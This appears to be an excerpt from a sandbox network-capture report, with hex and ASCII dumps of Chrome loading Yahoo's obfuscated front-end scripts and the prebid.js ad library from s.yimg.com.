2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 7a 67 75 3d 27 2c 27 69 63 30 54 70 47 3d 3d 27 2c 27 74 4d 66 32 41 77 44 48 44 67 39 59 27 2c 27 41 4e 6e 30 45 4d 39 4d 7a 4e 6e 4c 44 61 3d 3d 27 2c 27 79 32 39 55 7a 4d 4c 4e 44 78 6a 48 79 4d 58 4c 27 2c 27 41 68 72 30 43 63 31 4c 43 78 76 50 44 47 3d 3d 27 2c 27 79 32 58 50 7a 77 35 30 71 4d 4c 4b 7a 67 76 59 27 2c 27 7a 32 76 30 75 67 66 59 79 77 31 4c 44 67 76 59 27 2c 27 42 4e 6a 61 42 33 6a 50 7a 32 4c 55 79 77 57 3d 27 2c 27 79 32 39 55 79 32 66 30 27 2c 27 79 77 72 4b 27 2c 27 7a 67 76 4d 79 78 76 53 44 66 7a 50 7a 78 43 3d 27 2c 27 78 32 6a 53 79 77 35 52 27 2c 27 79 4d 4c 4b 43 59 35 5a 44 67 66 30 43 57 3d 3d 27 2c 27 75 4b 6e 75 27 2c 27 44 32 4c 4b 44 67 47 3d 27 2c 27 77 65 48 73 73 61 3d 3d 27 2c 27 7a 78 48 30 27 2c 27 6b 73 4b 55 43 Data Ascii: zgu=','ic0TpG==','tMf2AwDHDg9Y','ANn0EM9MzNnLDa==','y29UzMLNDxjHyMXL','Ahr0Cc1LCxvPDG==','y2XPzw50qMLKzgvY','z2v0ugfYyw1LDgvY','BNjaB3jPz2LUywW=','y29Uy2f0','ywrK','zgvMyxvSDfzPzxC=','x2jSyw5R','yMLKCY5ZDgf0CW==','uKnu','D2LKDgG=','weHssa==','zxH0','ksKUC
2024-04-27 22:41:57 UTC	1015	IN	Data Raw: 77 72 4b 7a 77 35 46 27 2c 27 44 78 6a 53 27 2c 27 44 67 4c 54 7a 78 76 57 7a 67 66 30 7a 71 3d 3d 27 2c 27 41 77 35 5a 7a 78 6a 30 71 77 72 51 79 77 6e 4c 42 4e 72 69 76 65 31 6d 27 2c 27 78 31 39 57 43 4d 39 30 42 31 39 46 27 2c 27 70 73 48 43 7a 63 53 50 78 68 6d 4f 79 32 39 55 44 67 76 55 44 64 30 49 77 31 34 49 78 73 53 49 6b 71 3d 3d 27 2c 27 7a 32 76 30 74 33 44 55 75 68 6a 56 43 67 76 59 44 68 4c 65 7a 78 6e 4a 43 4d 4c 57 44 67 39 59 27 2c 27 43 67 66 59 7a 77 35 30 27 2c 27 43 33 6a 4a 7a 67 39 4a 70 73 69 3d 27 2c 27 6a 4e 75 39 27 2c 27 79 77 58 30 27 2c 27 41 77 35 64 43 4d 76 48 44 67 4c 32 7a 71 3d 3d 27 2c 27 75 4d 76 57 42 33 6a 30 41 77 35 4e 74 32 6a 5a 7a 78 6a 32 7a 78 69 3d 27 2c 27 43 4d 76 51 7a 77 6e 30 27 2c 27 77 30 76 73 75 4c Data Ascii: wrKzw5F','DxjS','DgLTzxvWzgf0zq==','Aw5Zzxj0qwrQywnLBNrive1m','x19WCM90B19F','psHCzcSPxhmOy29UDgvUDd0Iw14IxsSIkq==','z2v0t3DUuhjVCgvYDhLezxnJCMLWDg9Y','CgfYzw50','C3jJzg9Jpsi=','jNu9','ywX0','Aw5dCMvHDgL2zq==','uMvWB3j0Aw5Nt2jZzxj2zxi=','CMvQzwn0','w0vsuL
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 67 4c 56 42 4b 76 55 7a 61 3d 3d 27 2c 27 79 78 6a 59 79 78 4c 63 44 77 7a 4d 7a 78 69 3d 27 2c 27 41 77 35 5a 43 67 76 4a 44 65 76 59 43 4d 39 59 27 2c 27 7a 32 76 30 73 78 72 4c 42 71 3d 3d 27 2c 27 71 30 54 6b 72 57 3d 3d 27 2c 27 43 4d 76 30 44 78 6a 55 69 68 44 50 42 4d 72 56 44 59 34 3d 27 2c 27 79 4d 4c 4b 7a 67 76 59 71 32 39 4b 7a 71 3d 3d 27 2c 27 79 32 58 48 43 33 6e 6f 79 77 31 4c 27 2c 27 73 66 72 6e 74 65 72 56 79 33 76 54 7a 77 35 30 27 2c 27 63 4d 44 4c 44 65 62 51 79 78 7a 48 43 32 6e 59 41 78 62 30 6f 47 3d 3d 27 2c 27 79 78 62 50 74 32 6a 5a 7a 78 6a 32 7a 78 6a 6e 42 32 72 4c 27 2c 27 79 32 39 55 43 32 39 53 7a 71 3d 3d 27 2c 27 41 77 31 57 27 2c 27 73 66 72 6e 74 61 3d 3d 27 2c 27 79 78 62 57 42 68 4b 3d 27 2c 27 43 32 39 59 44 61 3d Data Ascii: gLVBKvUza==','yxjYyxLcDwzMzxi=','Aw5ZCgvJDevYCM9Y','z2v0sxrLBq==','q0TkrW==','CMv0DxjUihDPBMrVDY4=','yMLKzgvYq29Kzq==','y2XHC3noyw1L','sfrnterVy3vTzw50','cMDLDebQyxzHC2nYAxb0oG==','yxbPt2jZzxj2zxjnB2rL','y29UC29Szq==','Aw1W','sfrnta==','yxbWBhK=','C29YDa=
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 27 2c 27 69 63 38 47 27 2c 27 79 4d 72 46 44 61 3d 3d 27 2c 27 79 4d 4c 4b 43 31 6a 4c 79 32 76 50 44 4d 76 4b 27 2c 27 42 4d 39 55 7a 71 3d 3d 27 2c 27 71 75 72 74 76 65 53 59 27 2c 27 42 32 35 59 7a 77 66 4b 45 78 6e 30 79 78 72 4c 79 32 48 48 42 4d 44 4c 27 2c 27 44 67 66 4e 74 4d 66 54 7a 71 3d 3d 27 2c 27 7a 78 7a 30 6c 77 6e 5a 43 4a 65 54 43 57 3d 3d 27 2c 27 7a 4d 66 50 42 67 76 4b 6f 49 61 3d 27 2c 27 71 4b 35 73 27 2c 27 76 77 35 4c 45 68 62 4c 79 33 72 4c 7a 63 62 4a 42 32 72 4c 43 49 62 5a 7a 78 72 31 43 63 62 4d 79 77 4c 53 44 78 6a 4c 6f 47 4f 3d 27 2c 27 44 68 6a 50 42 71 3d 3d 27 2c 27 7a 4d 4c 59 43 33 72 66 42 67 76 54 7a 77 35 30 71 32 48 50 42 67 71 3d 27 2c 27 6a 4d 66 54 43 64 53 3d 27 2c 27 75 68 6a 4c 72 32 39 30 79 32 48 48 27 2c Data Ascii: ','ic8G','yMrFDa==','yMLKC1jLy2vPDMvK','BM9Uzq==','qurtveSY','B25YzwfKExn0yxrLy2HHBMDL','DgfNtMfTzq==','zxz0lwnZCJeTCW==','zMfPBgvKoIa=','qK5s','vw5LEhbLy3rLzcbJB2rLCIbZzxr1CcbMywLSDxjLoGO=','DhjPBq==','zMLYC3rfBgvTzw50q2HPBgq=','jMfTCdS=','uhjLr290y2HH',
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 61 3d 3d 27 2c 27 69 67 66 53 42 67 39 33 6c 78 62 59 7a 78 6e 4c 42 4e 72 48 44 67 4c 56 42 47 3d 3d 27 2c 27 7a 78 7a 30 6c 77 35 48 44 47 3d 3d 27 2c 27 73 66 72 6e 74 66 6e 4a 43 4d 4c 57 44 65 76 53 7a 77 31 4c 42 4e 71 3d 27 2c 27 41 77 58 53 27 2c 27 7a 78 7a 30 6c 77 66 57 7a 57 3d 3d 27 2c 27 41 68 72 30 43 65 76 58 44 77 4c 32 27 2c 27 42 4e 76 53 42 61 3d 3d 27 2c 27 43 32 48 56 44 77 58 4b 6c 78 76 55 44 33 6a 48 43 61 3d 3d 27 2c 27 41 67 66 5a 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 79 77 72 48 7a 32 4c 56 27 2c 27 41 68 72 30 43 64 4f 3d 27 2c 27 70 63 39 5a 79 33 6a 50 43 68 71 2b 27 2c 27 79 32 7a 4e 6c 77 44 4e 43 57 3d 3d 27 2c 27 69 68 57 47 44 78 6a 53 6f 49 61 3d 27 2c 27 44 33 6a 50 44 67 75 3d 27 2c 27 41 77 31 57 44 4d 4c 4c Data Ascii: a==','igfSBg93lxbYzxnLBNrHDgLVBG==','zxz0lw5HDG==','sfrntfnJCMLWDevSzw1LBNq=','AwXS','zxz0lwfWzW==','Ahr0CevXDwL2','BNvSBa==','C2HVDwXKlxvUD3jHCa==','AgfZqxr0CMLIDxrL','ywrHz2LV','Ahr0CdO=','pc9Zy3jPChq+','y2zNlwDNCW==','ihWGDxjSoIa=','D3jPDgu=','Aw1WDMLL
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 55 74 67 39 4e 72 67 66 30 79 71 3d 3d 27 2c 27 7a 78 7a 48 42 61 3d 3d 27 2c 27 79 77 72 5a 27 2c 27 43 4d 76 5a 43 67 39 55 43 32 75 3d 27 2c 27 7a 78 7a 30 6c 77 79 59 7a 47 3d 3d 27 2c 27 79 77 58 53 42 33 43 54 44 67 39 57 6c 77 35 48 44 4d 4c 4e 79 78 72 50 42 32 34 3d 27 2c 27 79 33 6a 4c 79 78 72 4c 27 2c 27 7a 78 7a 30 6c 78 62 33 43 4a 69 3d 27 2c 27 73 77 35 50 44 67 4c 48 42 67 4c 36 79 78 72 50 42 32 35 67 79 77 4c 53 7a 77 71 3d 27 2c 27 43 33 62 53 41 78 71 3d 27 2c 27 79 4d 39 4b 45 71 3d 3d 27 2c 27 69 63 38 47 79 77 58 53 42 33 44 64 79 77 58 53 27 2c 27 7a 78 44 53 44 61 3d 3d 27 2c 27 41 77 7a 59 79 77 31 4c 6f 49 61 3d 27 2c 27 6a 66 44 6d 77 66 6a 54 71 77 71 3d 27 2c 27 72 76 39 71 73 65 39 70 73 57 3d 3d 27 2c 27 42 32 35 53 42 32 Data Ascii: Utg9Nrgf0yq==','zxzHBa==','ywrZ','CMvZCg9UC2u=','zxz0lwyYzG==','ywXSB3CTDg9Wlw5HDMLNyxrPB24=','y3jLyxrL','zxz0lxb3CJi=','sw5PDgLHBgL6yxrPB25gywLSzwq=','C3bSAxq=','yM9KEq==','ic8GywXSB3DdywXS','zxDSDa==','AwzYyw1LoIa=','jfDmwfjTqwq=','rv9qse9psW==','B25SB2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49915	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	529	OUT	GET /aaq/prebid/prebid-1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: WYGWjhY7GJWL6/xoPfslXsCjw8r4g3mQIUj4hF54iWoDQbE+HKJRtMp159JJukblc37ITySMRcI= x-amz-request-id: F6G11BFGSFHDK84H Date: Sat, 27 Apr 2024 22:35:07 GMT Last-Modified: Fri, 26 Apr 2024 16:24:30 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: ljff9CXOkX41opLixctFGrAkxlezLTli Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 441525 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "5198a6378f68297f015db7a715694962" Age: 411 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 2f 2a 20 70 72 65 62 69 64 2e 6a 73 20 76 38 2e 33 37 2e 30 0a 55 70 64 61 74 65 64 3a 20 32 30 32 34 2d 30 34 2d 32 36 0a 42 75 69 6c 64 3a 20 31 2e 30 2e 31 33 0a 4d 6f 64 75 6c 65 73 3a 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 2c 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 47 70 70 2c 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 55 73 70 2c 20 63 72 69 74 65 6f 42 69 64 41 64 61 70 74 65 72 2c 20 65 6e 72 69 63 68 6d 65 6e 74 46 70 64 4d 6f 64 75 6c 65 2c 20 67 64 70 72 45 6e 66 6f 72 63 65 6d 65 6e 74 2c 20 67 70 70 43 6f 6e 74 72 6f 6c 5f 75 73 6e 61 74 2c 20 67 70 70 43 6f 6e 74 72 6f 6c 5f 75 73 73 74 61 74 65 73 2c 20 67 70 74 50 72 65 41 75 63 74 69 6f 6e 2c 20 69 78 42 69 64 41 64 61 70 74 65 72 2c 20 6c 69 76 65 Data Ascii: /* prebid.js v8.37.0Updated: 2024-04-26Build: 1.0.13Modules: consentManagement, consentManagementGpp, consentManagementUsp, criteoBidAdapter, enrichmentFpdModule, gdprEnforcement, gppControl_usnat, gppControl_usstates, gptPreAuction, ixBidAdapter, live
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 70 72 6f 63 65 73 73 28 29 7d 29 2c 74 68 69 73 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2c 6e 3d 28 29 3d 3e 7b 74 68 69 73 2e 5f 72 65 6e 64 65 72 3f 74 68 69 73 2e 5f 72 65 6e 64 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 65 29 3a 28 30 2c 72 2e 4a 45 29 28 22 4e 6f 20 72 65 6e 64 65 72 20 66 75 6e 63 74 69 6f 6e 20 77 61 73 20 70 72 6f 76 69 64 65 64 2c 20 70 6c 65 61 73 65 20 75 73 65 20 2e 73 65 74 52 65 6e 64 65 72 20 6f 6e 20 74 68 65 20 72 65 6e 64 65 72 65 72 22 29 7d 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 74 3d 61 2e 61 64 55 6e 69 74 73 2c 6e 3d 28 30 2c 73 2e 49 36 29 28 74 2c 28 74 3d 3e 74 2e 63 6f 64 65 3d 3d 3d 65 29 29 3b 69 66 28 21 6e 29 72 65 74 75 Data Ascii: process()}),this.render=function(){const e=arguments,n=()=>{this._render?this._render.apply(this,e):(0,r.JE)("No render function was provided, please use .setRender on the renderer")};!function(e){const t=a.adUnits,n=(0,s.I6)(t,(t=>t.code===e));if(!n)retu
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 2e 68 61 6e 64 6c 65 72 73 5b 6e 5d 26 26 74 68 69 73 2e 68 61 6e 64 6c 65 72 73 5b 6e 5d 28 29 2c 28 30 2c 72 2e 4f 47 29 28 22 50 72 65 62 69 64 20 52 65 6e 64 65 72 65 72 20 65 76 65 6e 74 20 66 6f 72 20 69 64 20 22 2e 63 6f 6e 63 61 74 28 74 2c 22 20 74 79 70 65 20 22 29 2e 63 6f 6e 63 61 74 28 6e 29 29 7d 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 63 6d 64 2e 6c 65 6e 67 74 68 3e 30 3b 29 74 72 79 7b 74 68 69 73 2e 63 6d 64 2e 73 68 69 66 74 28 29 2e 63 61 6c 6c 28 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 72 2e 76 56 29 28 22 45 72 72 6f 72 20 70 72 6f 63 65 73 73 69 6e 67 20 52 65 6e 64 65 72 65 72 20 63 6f 6d 6d 61 6e 64 3a 20 22 2c 65 29 7d 7d 7d 2c 33 32 37 3a 28 Data Ascii: .handlers[n]&&this.handlers[n](),(0,r.OG)("Prebid Renderer event for id ".concat(t," type ").concat(n))},d.prototype.process=function(){for(;this.cmd.length>0;)try{this.cmd.shift().call()}catch(e){(0,r.vV)("Error processing Renderer command: ",e)}}},327:(
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 3a 28 29 3d 3e 66 7d 29 3b 76 61 72 20 69 3d 6e 28 35 36 34 39 29 2c 72 3d 6e 28 36 39 33 32 29 2c 6f 3d 6e 28 36 38 34 37 29 2c 73 3d 6e 28 33 32 37 29 3b 63 6f 6e 73 74 20 61 3d 5b 22 64 61 74 61 22 2c 22 65 78 74 2e 64 61 74 61 22 2c 22 79 6f 62 22 2c 22 67 65 6e 64 65 72 22 2c 22 6b 65 79 77 6f 72 64 73 22 2c 22 6b 77 61 72 72 61 79 22 2c 22 69 64 22 2c 22 62 75 79 65 72 75 69 64 22 2c 22 63 75 73 74 6f 6d 64 61 74 61 22 5d 2e 6d 61 70 28 28 65 3d 3e 22 75 73 65 72 2e 22 2e 63 6f 6e 63 61 74 28 65 29 29 29 2e 63 6f 6e 63 61 74 28 22 64 65 76 69 63 65 2e 65 78 74 2e 63 64 65 70 22 29 2c 63 3d 5b 22 75 73 65 72 2e 65 69 64 73 22 2c 22 75 73 65 72 2e 65 78 74 2e 65 69 64 73 22 5d 2c 64 3d 5b 22 75 73 65 72 2e 67 65 6f 2e 6c 61 74 22 2c 22 75 73 65 72 2e Data Ascii: :()=>f});var i=n(5649),r=n(6932),o=n(6847),s=n(327);const a=["data","ext.data","yob","gender","keywords","kwarray","id","buyeruid","customdata"].map((e=>"user.".concat(e))).concat("device.ext.cdep"),c=["user.eids","user.ext.eids"],d=["user.geo.lat","user.
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 6f 2e 69 6f 3b 72 65 74 75 72 6e 5b 7b 6e 61 6d 65 3a 73 2e 44 4c 2c 70 61 74 68 73 3a 61 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 44 4c 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 73 2e 68 71 2c 70 61 74 68 73 3a 63 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 68 71 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 73 2e 68 45 2c 70 61 74 68 73 3a 64 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 68 45 2c 65 29 2c 67 65 74 3a 65 3d 3e 4d 61 74 68 2e 72 6f 75 6e 64 28 31 30 30 2a 28 65 2b 4e 75 6d 62 65 72 2e 45 50 53 49 4c 4f 4e 29 29 2f 31 30 30 7d 2c 7b 6e 61 6d 65 3a 73 2e 56 4a 2c 70 61 74 68 73 3a 5b 22 73 6f 75 72 63 65 2e 74 69 64 22 5d 2c 61 70 70 6c 69 Data Ascii: .length>0&&void 0!==arguments[0]?arguments[0]:o.io;return[{name:s.DL,paths:a,applies:p(s.DL,e)},{name:s.hq,paths:c,applies:p(s.hq,e)},{name:s.hE,paths:d,applies:p(s.hE,e),get:e=>Math.round(100*(e+Number.EPSILON))/100},{name:s.VJ,paths:["source.tid"],appli
2024-04-27 22:41:57 UTC	1015	IN	Data Raw: 63 6f 6d 70 6f 6e 65 6e 74 3a 61 7d 3d 74 3b 63 6f 6e 73 74 20 63 3d 22 22 2e 63 6f 6e 63 61 74 28 69 2c 22 20 22 29 2e 63 6f 6e 63 61 74 28 72 3f 22 61 6c 6c 6f 77 65 64 22 3a 22 64 65 6e 69 65 64 22 2c 22 20 27 22 29 2e 63 6f 6e 63 61 74 28 6e 2c 22 27 20 66 6f 72 20 27 22 29 2e 63 6f 6e 63 61 74 28 61 2c 22 27 22 29 2e 63 6f 6e 63 61 74 28 6f 3f 22 3a 22 3a 22 22 29 2c 64 3d 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 3b 69 66 28 64 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 73 5b 63 5d 29 2c 73 5b 63 5d 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 28 29 3d 3e 64 65 6c 65 74 65 20 73 5b 63 5d 29 2c 31 65 33 29 2c 21 64 29 7b 63 6f 6e 73 74 20 74 3d 5b 63 5d 3b 6f 26 26 74 2e 70 75 73 68 28 6f 29 2c 28 72 3f 65 2e 6c 6f 67 49 6e 66 6f 3a 65 2e Data Ascii: component:a}=t;const c="".concat(i," ").concat(r?"allowed":"denied"," '").concat(n,"' for '").concat(a,"'").concat(o?":":""),d=s.hasOwnProperty(c);if(d&&clearTimeout(s[c]),s[c]=setTimeout((()=>delete s[c]),1e3),!d){const t=[c];o&&t.push(o),(r?e.logInfo:e.
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 6f 72 20 72 65 6e 64 65 72 69 6e 67 20 61 64 20 28 69 64 3a 20 22 2e 63 6f 6e 63 61 74 28 73 2c 22 29 3a 20 22 29 2e 63 6f 6e 63 61 74 28 6e 29 29 2c 6f 2e 49 63 28 6c 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 6c 65 74 7b 64 6f 63 3a 74 2c 62 69 64 3a 6e 2c 69 64 3a 69 7d 3d 65 3b 63 6f 6e 73 74 20 72 3d 7b 64 6f 63 3a 74 7d 3b 6e 26 26 28 72 2e 62 69 64 3d 6e 29 2c 69 26 26 28 72 2e 61 64 49 64 3d 69 29 2c 6f 2e 49 63 28 66 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 2c 74 29 7b 6c 65 74 7b 61 64 49 64 3a 6e 2c 6f 70 74 69 6f 6e 73 3a 6c 2c 62 69 64 52 65 73 70 6f 6e 73 65 3a 66 2c 64 6f 63 3a 62 7d 3d 74 3b 69 66 28 6e 75 6c 6c 21 3d 66 29 7b 69 66 28 66 2e 73 74 61 74 75 73 21 3d 3d 73 2e 74 6c 2e 55 6e 7c 7c 28 28 30 2c 69 2e 4a 45 29 Data Ascii: or rendering ad (id: ".concat(s,"): ").concat(n)),o.Ic(l,a)}function m(e){let{doc:t,bid:n,id:i}=e;const r={doc:t};n&&(r.bid=n),i&&(r.adId=i),o.Ic(f,r)}function b(e,t){let{adId:n,options:l,bidResponse:f,doc:b}=t;if(null!=f){if(f.status!==s.tl.Un\|\|((0,i.JE)
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 65 6e 74 42 69 64 64 65 72 57 69 6e 73 43 6f 75 6e 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 65 2c 22 77 69 6e 73 43 6f 75 6e 74 65 72 22 2c 74 29 7d 2c 67 65 74 52 65 71 75 65 73 74 73 43 6f 75 6e 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 30 2c 69 2e 41 29 28 72 2c 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 65 72 22 29 29 7c 7c 30 7d 2c 67 65 74 42 69 64 64 65 72 52 65 71 75 65 73 74 73 43 6f 75 6e 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 30 2c 69 2e 41 29 28 72 2c 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 62 69 64 64 65 72 73 2e 22 29 2e 63 6f 6e 63 61 74 28 74 2c 22 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 65 72 22 Data Ascii: entBidderWinsCounter:function(e,t){return o(e,"winsCounter",t)},getRequestsCounter:function(e){return(0,i.A)(r,"".concat(e,".requestsCounter"))\|\|0},getBidderRequestsCounter:function(e,t){return(0,i.A)(r,"".concat(e,".bidders.").concat(t,".requestsCounter"
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 3d 3d 74 29 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 26 26 30 3d 3d 3d 64 2e 6c 65 6e 67 74 68 26 26 6e 75 6c 6c 21 3d 73 2e 73 32 73 42 69 64 26 26 64 2e 70 75 73 68 28 7b 62 69 64 64 65 72 3a 6e 75 6c 6c 7d 29 2c 65 2e 70 75 73 68 28 64 2e 72 65 64 75 63 65 28 28 28 65 2c 74 29 3d 3e 7b 63 6f 6e 73 74 20 64 3d 6e 75 6c 6c 3d 3d 28 74 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2c 7b 6f 72 74 62 32 49 6d 70 3a 28 30 2c 69 2e 44 39 29 28 7b 7d 2c 73 2e 6f 72 74 62 32 49 6d 70 2c 74 2e 6f 72 74 62 32 49 6d 70 29 7d 2c 28 30 2c 69 2e 53 48 29 28 73 2c 5b 22 6e 61 74 69 76 65 50 61 72 61 6d 73 22 2c 22 6e 61 74 69 76 65 4f 72 74 62 52 65 71 75 65 73 74 22 2c 22 6d 65 64 69 61 54 79 70 65 22 2c 22 72 65 6e 64 65 72 65 72 22 5d 29 29 29 2e Data Ascii: ==t));return null==t&&0===d.length&&null!=s.s2sBid&&d.push({bidder:null}),e.push(d.reduce(((e,t)=>{const d=null==(t=Object.assign({},t,{ortb2Imp:(0,i.D9)({},s.ortb2Imp,t.ortb2Imp)},(0,i.SH)(s,["nativeParams","nativeOrtbRequest","mediaType","renderer"]))).
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 45 61 63 68 28 28 65 3d 3e 74 2e 61 64 64 28 65 29 29 29 2c 74 7d 63 6f 6e 73 74 20 4e 3d 28 30 2c 64 2e 41 5f 29 28 22 73 79 6e 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 65 74 7b 67 65 74 53 32 53 42 69 64 64 65 72 73 3a 6e 3d 78 7d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 3b 63 6f 6e 73 74 20 72 3d 6e 28 74 29 3b 72 65 74 75 72 6e 28 30 2c 69 2e 5a 41 29 28 65 29 2e 72 65 64 75 63 65 28 28 28 65 2c 74 29 3d 3e 28 65 5b 72 2e 68 61 73 28 74 29 3f 43 2e 53 45 52 56 45 52 3a 43 2e 43 4c 49 45 4e 54 5d 2e 70 75 73 68 28 74 29 2c 65 29 29 2c 7b 5b 43 2e 43 4c 49 45 4e 54 5d 3a 5b 5d 2c 5b 43 2e 53 45 52 56 45 52 Data Ascii: Each((e=>t.add(e))),t}const N=(0,d.A_)("sync",(function(e,t){let{getS2SBidders:n=x}=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const r=n(t);return(0,i.ZA)(e).reduce(((e,t)=>(e[r.has(t)?C.SERVER:C.CLIENT].push(t),e)),{[C.CLIENT]:[],[C.SERVER

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49913	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	584	OUT	GET /aaq/fp/js/react-wafer-games.custom.modern.5043a481c515b36358c32b8ea2d581fe.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: UZv5imGu+crjWvkrX2xTsLuRqtaa45YUHW1tJvH6pIsJepyPwUwKciU8uVSWnfYf9dxjEkkEfuw= x-amz-request-id: Y1ADNX7WJXANKD8E Date: Sat, 27 Apr 2024 22:41:58 GMT Last-Modified: Wed, 26 Jul 2023 00:32:42 GMT ETag: "5043a481c515b36358c32b8ea2d581fe" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: fm8ox0y1IJZn8EjreVWRE8Dgs2Cm7oxo Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1419 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
